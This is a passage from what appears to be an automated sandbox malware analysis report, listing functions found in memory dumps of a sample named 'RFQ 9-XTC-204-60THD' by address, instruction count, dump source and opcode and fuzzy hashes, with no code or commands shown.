                                                                                                      • Opcode ID: 4078fa51a5fbc9b3ec3ad2051acac540e6e871154747487bbae9cdd027c23243
                                                                                                      • Instruction ID: 1f7fab8f494559ac0f5546e56c2a2bf555fe4bac550c4e50cf729204db0a9d1d
                                                                                                      • Opcode Fuzzy Hash: 4078fa51a5fbc9b3ec3ad2051acac540e6e871154747487bbae9cdd027c23243
                                                                                                      • Instruction Fuzzy Hash: 4A51AC30B003199FD725AF29C41862EB7A3AFC5760B50456CD9069B3E1DF31EC02CBA0
                                                                                                      Function 06E42CB2 Relevance: .2, Instructions: 183COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 733d5a36328d59f0843780166f4a18c4d2ca5eff921fbb7e59dc5e5226572c4d
                                                                                                      • Instruction ID: 19727fda4461b9f1b97144570b22c2b7cc2c04ead451bed152035b501666c10b
                                                                                                      • Opcode Fuzzy Hash: 733d5a36328d59f0843780166f4a18c4d2ca5eff921fbb7e59dc5e5226572c4d
                                                                                                      • Instruction Fuzzy Hash: A5811670D05318CFEBA4DF79E484BADBBB2BF45304F6060A9E109AB245DB749A85CF50
                                                                                                      Function 072ACC83 Relevance: .2, Instructions: 163COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 89a7e34c219f42c89434ae11d251afd93326bdf6654d71d0fc25aee636e3ffc5
                                                                                                      • Instruction ID: 84561da6dd0da8923efaab9b8e17d91f642b045ca9c4acdac186203f706c753b
                                                                                                      • Opcode Fuzzy Hash: 89a7e34c219f42c89434ae11d251afd93326bdf6654d71d0fc25aee636e3ffc5
                                                                                                      • Instruction Fuzzy Hash: 56610974B20615EFCB04DF68C894AADB7B6FF89700F108169E9069B365CB70EC41CB90
                                                                                                      Function 06E4F300 Relevance: .2, Instructions: 156COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 1856a9da41b72e47aa144ce68664b32638005d4fd4cd69aad127e0db7720e601
                                                                                                      • Instruction ID: a0b18c48faf7feb6cce2dbcb6f85fca514a26f085987bdc72ccf41d58ff74035
                                                                                                      • Opcode Fuzzy Hash: 1856a9da41b72e47aa144ce68664b32638005d4fd4cd69aad127e0db7720e601
                                                                                                      • Instruction Fuzzy Hash: 755192357002148FDB14DF69D894AAEBBE2FFC9750B158069E905DB361DB31DD02CBA1
                                                                                                      Function 06E4D468 Relevance: .2, Instructions: 154COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 5951f5e07e553285aea5aec00bc4c0c024e143db451f87806697f5df61119d91
                                                                                                      • Instruction ID: dcb33be70b01be72f75fee1b22550b9a1a497150eb5d1a179ef6fe357f38f0a5
                                                                                                      • Opcode Fuzzy Hash: 5951f5e07e553285aea5aec00bc4c0c024e143db451f87806697f5df61119d91
                                                                                                      • Instruction Fuzzy Hash: 44512F76600104EFDB459FA8DC04D69BBB6FF8D31471580D8E6099B272DB32DC21DB61
                                                                                                      Function 06E4DE69 Relevance: .1, Instructions: 145COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: e0390db65baccd7a9bbf6a3b5de5debf6cfa29659c7c83d562437df07afa7e84
                                                                                                      • Instruction ID: ea71df5514875aa96b32b50228e7852bd6be7a559862f6d9002af3393377072e
                                                                                                      • Opcode Fuzzy Hash: e0390db65baccd7a9bbf6a3b5de5debf6cfa29659c7c83d562437df07afa7e84
                                                                                                      • Instruction Fuzzy Hash: 9D5125306057558FE365EF3AD84435ABBE2EF81320F148A6DE486CB6E1DB34D905CBA1
                                                                                                      Function 072A75D0 Relevance: .1, Instructions: 143COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: de7ba5d1b0aa5a8eeed8b447db20aab8754ce6f2b3f627cce240de9199e1645e
                                                                                                      • Instruction ID: 0ae5762d6238e89c4cc7b31e808fb859f8a9a1236c7fae8c594e6c20d3589f83
                                                                                                      • Opcode Fuzzy Hash: de7ba5d1b0aa5a8eeed8b447db20aab8754ce6f2b3f627cce240de9199e1645e
                                                                                                      • Instruction Fuzzy Hash: FE51A135B10619DFCB04EF65E458AAE7BB6FF88B11F108119E502A7360DF70A946CB91
                                                                                                      Function 072ACAF8 Relevance: .1, Instructions: 143COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: ba20e6468ac75ef35a39e74f1f4602f255763b43720aead63367fe5688faffd0
                                                                                                      • Instruction ID: bd9a0bcb544271ffa1bf88f18c66eca9131777dedb9166eb968bb97bf2caeb22
                                                                                                      • Opcode Fuzzy Hash: ba20e6468ac75ef35a39e74f1f4602f255763b43720aead63367fe5688faffd0
                                                                                                      • Instruction Fuzzy Hash: C051A576704204AFCB069F69D818E597FB6EF89710B1580EAE605CF272CB32DC11DB61
                                                                                                      Function 072ABA98 Relevance: .1, Instructions: 139COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: d1d099a9fb9e11d370e840aefff1f51ce4f8d26a54937c271d325b0f0e9e1cc8
                                                                                                      • Instruction ID: a9d90d94c42ef0c75a0385ff70e906e7a2f23702235599d307c02a043d5a6e55
                                                                                                      • Opcode Fuzzy Hash: d1d099a9fb9e11d370e840aefff1f51ce4f8d26a54937c271d325b0f0e9e1cc8
                                                                                                      • Instruction Fuzzy Hash: A9416170B20614DFCB15AB64C858AAEBBB7EFC9700F104529E406EB394DF749C46CB96
                                                                                                      Function 072AFB88 Relevance: .1, Instructions: 125COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: ae913f39d6c827216c46f646bdd8c626e661180aee7af9b7ccde47c85e49b6ae
                                                                                                      • Instruction ID: fc7f5f3c0bd34cf1f4403b0f580dce335d910614be5640d00a0f8236fa65dc9f
                                                                                                      • Opcode Fuzzy Hash: ae913f39d6c827216c46f646bdd8c626e661180aee7af9b7ccde47c85e49b6ae
                                                                                                      • Instruction Fuzzy Hash: E9411F71F107159FCB64DB79D65429EBBF2EF88710B04886ED44AC7A80DB34E901CB81
                                                                                                      Function 06E43260 Relevance: .1, Instructions: 114COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: aea7b198236ec57dab93b4ede5f8737f7bb679e42cbe01b55ef56cc369f503e9
                                                                                                      • Instruction ID: 014a69c1c35a36d17614f6799f707fe619eb25ec491043ca79e41d3c45d38e4f
                                                                                                      • Opcode Fuzzy Hash: aea7b198236ec57dab93b4ede5f8737f7bb679e42cbe01b55ef56cc369f503e9
                                                                                                      • Instruction Fuzzy Hash: 0E51C170D01218DFDB58DFBAD994A9DBBF2BF88300F20902AE815AB361DB309941CF50
                                                                                                      Function 072AB4A0 Relevance: .1, Instructions: 112COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: d9bc561d3fb44cdee711196f072ff934491920b011255e510217c5f51c88f143
                                                                                                      • Instruction ID: 5ae460d52cbda1fcd95ef01f2787cb27174bef98303b755a38070d185553107e
                                                                                                      • Opcode Fuzzy Hash: d9bc561d3fb44cdee711196f072ff934491920b011255e510217c5f51c88f143
                                                                                                      • Instruction Fuzzy Hash: 7C4170B1300614AFD708DB65D898F6B77E6AFC8B14F104068E2068F3A1DE71EC42CB95
                                                                                                      Function 06E43250 Relevance: .1, Instructions: 109COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 27566c83b3fc77b8ca9661bff9569184b5f0c71831e52f1c7bda46beafb5c55a
                                                                                                      • Instruction ID: a3c78fdc17a492c634e4b88a07e9f29e8b0fde0a0bdfc0a01312f4ba623fc796
                                                                                                      • Opcode Fuzzy Hash: 27566c83b3fc77b8ca9661bff9569184b5f0c71831e52f1c7bda46beafb5c55a
                                                                                                      • Instruction Fuzzy Hash: 0A41E374D01218DFDB58DFBAD894ADDBBB2BF88300F24902AD815AB261DB309942CF50
                                                                                                      Function 072AB4B0 Relevance: .1, Instructions: 109COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 63287abf730660c6cae0c521830d6d137ebd6c40bf5d670964d63f58aa61199b
                                                                                                      • Instruction ID: c8c84a1b464de99e6b087e5fc05f4ae9c24feb830d1fca4497c49dc4147c7176
                                                                                                      • Opcode Fuzzy Hash: 63287abf730660c6cae0c521830d6d137ebd6c40bf5d670964d63f58aa61199b
                                                                                                      • Instruction Fuzzy Hash: 3C315C71300614AFD708DB69D898F6AB7E6AFCCB10F104168E6068F3A1DE71EC02CB95
                                                                                                      Function 072A001F Relevance: .1, Instructions: 105COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: d88dd235c2fa226cc48caa7f3d0e15e52bf039fced732b5c8584de192eefd248
                                                                                                      • Instruction ID: bad2463dd7068bd163479669e945e139710835e0710bc23d79fa3e03265fe654
                                                                                                      • Opcode Fuzzy Hash: d88dd235c2fa226cc48caa7f3d0e15e52bf039fced732b5c8584de192eefd248
                                                                                                      • Instruction Fuzzy Hash: C8413974A112289FEB65DB24CC90FA9BBB1FF49310F1001E9EA05AB3D1D631AD81CF60
                                                                                                      Function 06E49C18 Relevance: .1, Instructions: 104COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: b68e9d2e475a530e5339e7691c3acd16bcf160c39c3c7dcf713c21c1a8689617
                                                                                                      • Instruction ID: ba9c553f9a12bc59a608ddfd56152aaa0462590cd47b28b489896c2e2ed045bb
                                                                                                      • Opcode Fuzzy Hash: b68e9d2e475a530e5339e7691c3acd16bcf160c39c3c7dcf713c21c1a8689617
                                                                                                      • Instruction Fuzzy Hash: CC41F474E05209DFDB44DFAAE544AEEBBF2FB88301F1490A9E405BB266D3345A44CF91
                                                                                                      Function 072AA5B0 Relevance: .1, Instructions: 103COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: d55ce04d250fceb8f5c80e4ae3b7cdd11f60ed7a6b8735cc6811b9147f5e1918
                                                                                                      • Instruction ID: dddc6289c6b49de7d2752ae679c06b8323c8c60303dc6eac8c08195b42daaae7
                                                                                                      • Opcode Fuzzy Hash: d55ce04d250fceb8f5c80e4ae3b7cdd11f60ed7a6b8735cc6811b9147f5e1918
                                                                                                      • Instruction Fuzzy Hash: F331E476610115EFCB05DF59D888E99BBB2FF49720B1680A8E6099B372C731ED55CB40
                                                                                                      Function 06E49C28 Relevance: .1, Instructions: 100COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 49bf8be65f91858acbf25e557670944bc7e5366009dfd00a8f883bf301e42f83
                                                                                                      • Instruction ID: 93bd84901b63d126744d9c31bf283d3f9af73364da9b474af7d6fb910abaf279
                                                                                                      • Opcode Fuzzy Hash: 49bf8be65f91858acbf25e557670944bc7e5366009dfd00a8f883bf301e42f83
                                                                                                      • Instruction Fuzzy Hash: D841E170E05209DFDB44EFAAE544AEEBBF6BB88301F109069E406BB261D3745940CF91
                                                                                                      Function 06E4DD10 Relevance: .1, Instructions: 98COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 9c7b8782026c0370ee367bcc14549341f98eae45029766af34413264306f0cdd
                                                                                                      • Instruction ID: b3e4f43ef069f525edb96a3d117bde2d6374150b0dfcfa9e002da9a17fcc8831
                                                                                                      • Opcode Fuzzy Hash: 9c7b8782026c0370ee367bcc14549341f98eae45029766af34413264306f0cdd
                                                                                                      • Instruction Fuzzy Hash: 5931F7357053556FD7156E69E844A6B7F96EFCA360B14417EF905CB390CE328C11CBA0
                                                                                                      Function 072A6E78 Relevance: .1, Instructions: 97COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 19ca386155a82b389f16a03b17b6baa3695fd38bb593764f402ede43347112d8
                                                                                                      • Instruction ID: 6f00aac13acc210b0e93d1f61f376e1b7e82cdba039e682f26c3b1aa7777cc77
                                                                                                      • Opcode Fuzzy Hash: 19ca386155a82b389f16a03b17b6baa3695fd38bb593764f402ede43347112d8
                                                                                                      • Instruction Fuzzy Hash: 15318135700215EFCF049F64DC58A99BBA6EF88710F1540A9EA06AB361DB71DC16CB90
                                                                                                      Function 072ACF98 Relevance: .1, Instructions: 96COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 6e2e9181dcfa1f4ebcdb099dfbffa0a810c93e7b4c198cd5ae41420974915333
                                                                                                      • Instruction ID: 11003c5529bd570c0aae5351e5a7219965236de46570b0124621a7950401b2fd
                                                                                                      • Opcode Fuzzy Hash: 6e2e9181dcfa1f4ebcdb099dfbffa0a810c93e7b4c198cd5ae41420974915333
                                                                                                      • Instruction Fuzzy Hash: 0B313C75A10219EBDF04DFA4D854AEEBBB6FF88311F108029E901B73A4DB719D45CBA0
                                                                                                      Function 06E4B0E0 Relevance: .1, Instructions: 95COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: c18df1159067c2a4b0486d3a24b5724967c9bf4a121e4b3b43e452797ff90adb
                                                                                                      • Instruction ID: f96a0aa8e8afe000d9929924ba673e3d60769ab634ba48c93e0587e4508fc91c
                                                                                                      • Opcode Fuzzy Hash: c18df1159067c2a4b0486d3a24b5724967c9bf4a121e4b3b43e452797ff90adb
                                                                                                      • Instruction Fuzzy Hash: 44415774E05208CFEB44DFA9E844AEEBBB6FB89300F109069D915B7354E7349A45CFA0
                                                                                                      Function 06E4AACA Relevance: .1, Instructions: 93COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 7caf75b00f32a48451c525650c83554030b3b38598f3340d24537c28642fb8e4
                                                                                                      • Instruction ID: d8894f5d2b3fc717fb18a94008234ef78f7365826a87b8a2bd4b5efbc45648c8
                                                                                                      • Opcode Fuzzy Hash: 7caf75b00f32a48451c525650c83554030b3b38598f3340d24537c28642fb8e4
                                                                                                      • Instruction Fuzzy Hash: FA411870945218CFEBA4EF28E845BE9B7B2FB89314F2090A9D509E7359EB305D85CF50
                                                                                                      Function 06E4B0F0 Relevance: .1, Instructions: 90COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 69186e2dfa6f19f4410d89d337b0809547196ecf3e9677ebd1e946d0fcfe5224
                                                                                                      • Instruction ID: 7c315dd4c73a934198404583170e2a9e489f7e3c6d2ce9b7b184c7f7cb4cf010
                                                                                                      • Opcode Fuzzy Hash: 69186e2dfa6f19f4410d89d337b0809547196ecf3e9677ebd1e946d0fcfe5224
                                                                                                      • Instruction Fuzzy Hash: D6310674E04208CFEB44EFA9E445AEEB7B6FB89304F109069D915A7354D734AA45CFA0
                                                                                                      Function 072A4230 Relevance: .1, Instructions: 90COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: e7f4d7d2d4cf4725b7649440872b94c48bd4edb1e456e4b3e78dba201f675255
                                                                                                      • Instruction ID: a08f7335323a6d5966de747d80d057e4b32dd417716bbb64ade65c19d6ecccf8
                                                                                                      • Opcode Fuzzy Hash: e7f4d7d2d4cf4725b7649440872b94c48bd4edb1e456e4b3e78dba201f675255
                                                                                                      • Instruction Fuzzy Hash: 2831EDB0200246EFDB14DF29D884BAA3BA6BF88351F148069F904CB2A0C7B1D881CB90
                                                                                                      Function 072A8370 Relevance: .1, Instructions: 87COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 3158367659ce8014eff14c4f8a1b1d48007d7550b3d3625aaa09bdc2a3c7a810
                                                                                                      • Instruction ID: 6ea86a743602777ae8b0a3846e6a12be727916ba5a14442c540adb8a64fd9a14
                                                                                                      • Opcode Fuzzy Hash: 3158367659ce8014eff14c4f8a1b1d48007d7550b3d3625aaa09bdc2a3c7a810
                                                                                                      • Instruction Fuzzy Hash: 0721F872714311AFD3118B6AE884A6AB7E9EFC0321B1584BBD50EC7251EB31EC42C754
                                                                                                      Function 06E49AB9 Relevance: .1, Instructions: 83COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: a58fce88238f362472b5d367c48a478b002deba97dda77bbbd46b02485517aa2
                                                                                                      • Instruction ID: 295080c843f01b7af12bb157a85ddcb656dc408b1cd80a0ad49617d4ecbe88c6
                                                                                                      • Opcode Fuzzy Hash: a58fce88238f362472b5d367c48a478b002deba97dda77bbbd46b02485517aa2
                                                                                                      • Instruction Fuzzy Hash: E9310474E012089FDB05DFB9D8506EEBBB6FF88310F10806AE816B72A4DA355945CFA5
                                                                                                      Function 06E21E81 Relevance: .1, Instructions: 81COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573817799.0000000006E20000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E20000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e20000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 7d887b4f4d9dcc267a55b4af257ce6aef33da9bf3871ab7799f8cf8252dcf784
                                                                                                      • Instruction ID: febbe738b576bcab2396d0a8d60f0412ef7bce2eac3ebb0dcf187480822f253b
                                                                                                      • Opcode Fuzzy Hash: 7d887b4f4d9dcc267a55b4af257ce6aef33da9bf3871ab7799f8cf8252dcf784
                                                                                                      • Instruction Fuzzy Hash: 9C31E231D0835ADFEB05CFA5E4546EEBBB2EF45305F1050AAD611A72A1C7384B45CF91
                                                                                                      Function 072A258F Relevance: .1, Instructions: 80COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1575623984.00000000072A0000.00000040.00000800.00020000.00000000.sdmp, Offset: 072A0000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_72a0000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
                                                                                                      • String ID:
                                                                                                      • API String ID:
                                                                                                      • Opcode ID: 67e1d8ec3b6867eac18e9cab7ea217edb981e73344ef47061799156c43ef4950
                                                                                                      • Instruction ID: d814b11c82246392539efd42d100667b2e33a4b36911605fa0434ac86d751f21
                                                                                                      • Opcode Fuzzy Hash: 67e1d8ec3b6867eac18e9cab7ea217edb981e73344ef47061799156c43ef4950
                                                                                                      • Instruction Fuzzy Hash: 232181B0304259EFCF05CF2AC850AAA7BEAFF8A750B154095FC54CB2A1DA35DC50CB60
                                                                                                      Function 06E49AC8 Relevance: .1, Instructions: 78COMMON
                                                                                                      Download Yara Rule
                                                                                                      Memory Dump Source
                                                                                                      • Source File: 00000000.00000002.1573935196.0000000006E40000.00000040.00000800.00020000.00000000.sdmp, Offset: 06E40000, based on PE: false
                                                                                                      Joe Sandbox IDA Plugin
                                                                                                      • Snapshot File: hcaresult_0_2_6e40000_RFQ 9-XTC-204-60THD.jbxd
                                                                                                      Similarity
                                                                                                      • API ID:
